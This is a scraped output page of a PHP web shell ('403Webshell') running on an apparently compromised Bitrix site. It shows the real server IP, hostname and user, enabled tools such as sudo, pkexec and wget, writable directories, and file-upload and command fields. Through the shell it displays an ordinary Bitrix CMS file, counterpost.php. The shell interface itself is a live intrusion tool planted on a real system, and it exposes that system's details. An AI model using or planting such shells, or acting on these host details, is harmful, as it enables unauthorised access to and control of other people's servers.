403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/blog/lib/integration/socialnetwork/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/blog/lib/integration/socialnetwork/counterpost.php
<?php

namespace Bitrix\Blog\Integration\Socialnetwork;

class CounterPost
{
	public static function increment($params = array())
	{
		$socnetPerms = (
			is_array($params)
			&& !empty($params['socnetPerms'])
			&& is_array($params['socnetPerms'])
				? $params['socnetPerms']
				: array()
		);

		$logId = (
			is_array($params)
			&& !empty($params['logId'])
			&& intval($params['logId']) > 0
				? intval($params['logId'])
				: 0
		);

		$logEventId = (
			is_array($params)
			&& !empty($params['logEventId'])
				? $params['logEventId']
				: ''
		);

		$sendToAuthor = (
			is_array($params)
			&& !empty($params['sendToAuthor'])
				? $params['sendToAuthor']
				: false
		);

		if (
			$logId <= 0
			|| empty($logEventId)
		)
		{
			return false;
		}

		$userIdList = array();
		$forAll = (
			in_array("AU", $socnetPerms)
			|| in_array("G2", $socnetPerms)
		);

		if (!$forAll)
		{
			foreach($socnetPerms as $code)
			{
				if (preg_match('/^U(\d+)$/', $code, $matches))
				{
					$userIdList[] = $matches[1];
				}
				elseif (!in_array($code, array("SA")))
				{
					$userIdList = array();
					break;
				}
			}
		}

		\CSocNetLog::counterIncrement(array(
			"ENTITY_ID" => $logId,
			"EVENT_ID" => $logEventId,
			"TYPE" => "L",
			"FOR_ALL_ACCESS" =>  $forAll,
			"USERS_TO_PUSH" => (
				$forAll
				|| empty($userIdList)
				|| count($userIdList) > 20
					? array()
					: $userIdList
			),
			"SEND_TO_AUTHOR" => (
				$sendToAuthor
					? "Y"
					: "N"
			)
		));

		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit